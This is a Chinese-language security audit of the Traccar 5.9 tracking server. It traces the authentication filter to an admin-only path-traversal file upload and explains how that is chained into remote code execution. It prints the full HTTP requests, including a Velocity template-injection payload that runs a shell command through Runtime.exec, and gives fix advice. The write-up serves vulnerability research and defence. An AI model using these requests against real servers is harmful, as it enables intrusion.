traccar代码审记小结
字数 1015 2025-08-24 07:48:10

Traccar代码审计与漏洞利用分析

1. 环境搭建

  1. 下载最新版本Traccar安装包:

    https://github.com/traccar/traccar/releases/download/v5.9/traccar-windows-64-5.9.zip
    
  2. 默认安装后从Windows服务启动Traccar

  3. 访问Web界面:

    http://127.0.0.1:8082
    
  4. 创建第一个账号(根据官方文档,第一个创建的账号即为管理员账户)

2. 依赖分析

检查build.gradle文件中的关键依赖:

implementation "com.mysql:mysql-connector-j:8.1.0"
implementation "org.glassfish.jersey.containers:jersey-container-servlet:$jerseyVersion"
implementation "org.glassfish.jersey.media:jersey-media-json-jackson:$jerseyVersion"
implementation "org.glassfish.jersey.inject:jersey-hk2:$jerseyVersion"
implementation "org.apache.velocity:velocity-engine-core:2.3"
implementation "org.apache.velocity.tools:velocity-tools-generic:3.1"
implementation "org.apache.commons:commons-collections4:4.4"

关键点:

  • MySQL版本较高(8.1.0),无法利用JDBC转RCE
  • 包含Velocity模板引擎,可能存在SSTI漏洞
  • Glassfish是Tomcat的完整JavaEE实现版本,使用filter做鉴权,servlet做路由

3. 鉴权机制分析

3.1 WebServer初始化

WebServer.java中的initApi方法:

private void initApi(ServletContextHandler servletHandler) {
    // 媒体文件处理配置
    String mediaPath = config.getString(Keys.MEDIA_PATH);
    if (mediaPath != null) {
        ServletHolder servletHolder = new ServletHolder(DefaultServlet.class);
        servletHolder.setInitParameter("resourceBase", new File(mediaPath).getAbsolutePath());
        servletHolder.setInitParameter("dirAllowed", "false");
        servletHolder.setInitParameter("pathInfoOnly", "true");
        servletHandler.addServlet(servletHolder, "/api/media/*");
    }
    
    // REST API配置
    ResourceConfig resourceConfig = new ResourceConfig();
    resourceConfig.registerClasses(
        JacksonFeature.class,
        ObjectMapperContextResolver.class,
        DateParameterConverterProvider.class,
        SecurityRequestFilter.class,  // 安全过滤器
        CorsResponseFilter.class,
        ResourceErrorHandler.class
    );
    resourceConfig.packages(ServerResource.class.getPackage().getName());
    servletHandler.addServlet(new ServletHolder(new ServletContainer(resourceConfig)), "/api/*");
}

3.2 安全过滤器分析

SecurityRequestFilter类实现了鉴权逻辑:

@Override
public void filter(ContainerRequestContext requestContext) {
    SecurityContext securityContext = null;
    try {
        // 1. 检查Authorization头
        String authHeader = requestContext.getHeaderString("Authorization");
        if (authHeader != null) {
            try {
                User user;
                if (authHeader.startsWith("Bearer ")) {
                    user = loginService.login(authHeader.substring(7));
                } else {
                    String[] auth = decodeBasicAuth(authHeader);
                    user = loginService.login(auth[0], auth[1]);
                }
                if (user != null) {
                    statisticsManager.registerRequest(user.getId());
                    securityContext = new UserSecurityContext(new UserPrincipal(user.getId()));
                }
            } catch (StorageException | GeneralSecurityException | IOException e) {
                throw new WebApplicationException(e);
            }
        }
        // 2. 检查Session中的用户ID
        else if (request.getSession() != null) {
            Long userId = (Long) request.getSession().getAttribute(SessionResource.USER_ID_KEY);
            if (userId != null) {
                User user = injector.getInstance(PermissionsService.class).getUser(userId);
                if (user != null) {
                    user.checkDisabled();
                    statisticsManager.registerRequest(userId);
                    securityContext = new UserSecurityContext(new UserPrincipal(userId));
                }
            }
        }
    } catch (SecurityException | StorageException e) {
        LOGGER.warn("Authentication error", e);
    }
    
    // 3. 设置安全上下文或拒绝未授权访问
    if (securityContext != null) {
        requestContext.setSecurityContext(securityContext);
    } else {
        Method method = resourceInfo.getResourceMethod();
        if (!method.isAnnotationPresent(PermitAll.class)) {
            Response.ResponseBuilder responseBuilder = Response.status(Response.Status.UNAUTHORIZED);
            String accept = request.getHeader("Accept");
            if (accept != null && accept.contains("text/html")) {
                responseBuilder.header("WWW-Authenticate", "Basic realm=\"api\"");
            }
            throw new WebApplicationException(responseBuilder.build());
        }
    }
}

关键点:

  • 使用@PermitAll注解标记不需要鉴权的方法
  • 支持Bearer Token和Basic Auth两种认证方式
  • 也支持Session认证

4. 漏洞分析

4.1 后台任意文件上传漏洞

发现uploadImage方法没有对文件名进行充分校验:

@Path("file/{path}")
@POST
@Consumes("*/*")
public Response uploadImage(@PathParam("path") String path, File inputFile) 
    throws IOException, StorageException {
    
    // 需要管理员权限
    permissionsService.checkAdmin(getUserId());
    
    String root = config.getString(Keys.WEB_OVERRIDE, config.getString(Keys.WEB_PATH));
    var outputPath = Paths.get(root, path);
    var directoryPath = outputPath.getParent();
    
    if (directoryPath != null) {
        Files.createDirectories(directoryPath);
    }
    
    try (var input = new FileInputStream(inputFile);
         var output = new FileOutputStream(outputPath.toFile())) {
        input.transferTo(output);
    }
    
    return Response.ok().build();
}

漏洞点:

  1. 虽然需要管理员权限,但未对path参数进行过滤
  2. 可以构造../进行目录遍历
  3. 结合Velocity模板引擎可实现RCE

4.2 漏洞利用步骤

  1. 覆盖Velocity模板文件

目标文件:.\templates\full\passwordReset.vm

请求示例:

POST /api/server/file/..%2ftemplates%2ffull%2fpasswordReset.vm HTTP/1.1
Host: 192.168.109.155:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: image/jpeg
Content-Length: 376
Connection: close
Cookie: JSESSIONID=Vaild_Cookie

#set($subject = "Password reset")
<!DOCTYPE html>
<html>
<body>
To reset password please click on the following link:<br>
<a href="$webUrl/reset-password?passwordReset=$token">$webUrl/reset-password?passwordReset=$token</a><br>
</body>
</html>
#set ($exp = "exp");$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd.exe /c echo aaa > pwn.txt");
  1. 触发模板执行

发送密码重置请求以触发模板执行:

POST /api/password/reset HTTP/1.1
Host: 192.168.109.155:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.109.155:8082/settings/preferences
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 18
Origin: http://192.168.109.155:8082
Connection: close
Cookie: JSESSIONID=Vaild_Cookie

email=YOUR_Login_Email
  1. 验证执行结果

检查Traccar安装目录(默认在C:\Program Files\Traccar),会发现pwn.txt文件被创建。

5. 漏洞修复建议

  1. uploadImage方法的path参数进行严格过滤:

    • 禁止../等目录遍历字符
    • 限制文件扩展名
    • 限制文件保存路径
  2. 对Velocity模板文件进行权限控制:

    • 设置模板目录为只读
    • 对模板内容进行安全校验
  3. 加强管理员权限验证:

    • 对敏感操作进行二次验证
    • 记录管理员操作日志

6. 总结

通过分析发现Traccar存在以下安全问题:

  1. 后台任意文件上传漏洞(需要管理员权限)
  2. 结合Velocity模板引擎可实现RCE
  3. 默认安装配置可能存在安全隐患

利用链:
管理员凭证 → 文件上传 → 目录遍历 → 覆盖模板 → 触发模板执行 → RCE

Traccar代码审计与漏洞利用分析 1. 环境搭建 下载最新版本Traccar安装包: 默认安装后从Windows服务启动Traccar 访问Web界面: 创建第一个账号(根据官方文档,第一个创建的账号即为管理员账户) 2. 依赖分析 检查 build.gradle 文件中的关键依赖: 关键点: MySQL版本较高(8.1.0),无法利用JDBC转RCE 包含Velocity模板引擎,可能存在SSTI漏洞 Glassfish是Tomcat的完整JavaEE实现版本,使用filter做鉴权,servlet做路由 3. 鉴权机制分析 3.1 WebServer初始化 WebServer.java 中的 initApi 方法: 3.2 安全过滤器分析 SecurityRequestFilter 类实现了鉴权逻辑: 关键点: 使用 @PermitAll 注解标记不需要鉴权的方法 支持Bearer Token和Basic Auth两种认证方式 也支持Session认证 4. 漏洞分析 4.1 后台任意文件上传漏洞 发现 uploadImage 方法没有对文件名进行充分校验: 漏洞点: 虽然需要管理员权限,但未对 path 参数进行过滤 可以构造 ../ 进行目录遍历 结合Velocity模板引擎可实现RCE 4.2 漏洞利用步骤 覆盖Velocity模板文件 : 目标文件: .\templates\full\passwordReset.vm 请求示例: 触发模板执行 : 发送密码重置请求以触发模板执行: 验证执行结果 : 检查Traccar安装目录(默认在 C:\Program Files\Traccar ),会发现 pwn.txt 文件被创建。 5. 漏洞修复建议 对 uploadImage 方法的 path 参数进行严格过滤: 禁止 ../ 等目录遍历字符 限制文件扩展名 限制文件保存路径 对Velocity模板文件进行权限控制: 设置模板目录为只读 对模板内容进行安全校验 加强管理员权限验证: 对敏感操作进行二次验证 记录管理员操作日志 6. 总结 通过分析发现Traccar存在以下安全问题: 后台任意文件上传漏洞(需要管理员权限) 结合Velocity模板引擎可实现RCE 默认安装配置可能存在安全隐患 利用链: 管理员凭证 → 文件上传 → 目录遍历 → 覆盖模板 → 触发模板执行 → RCE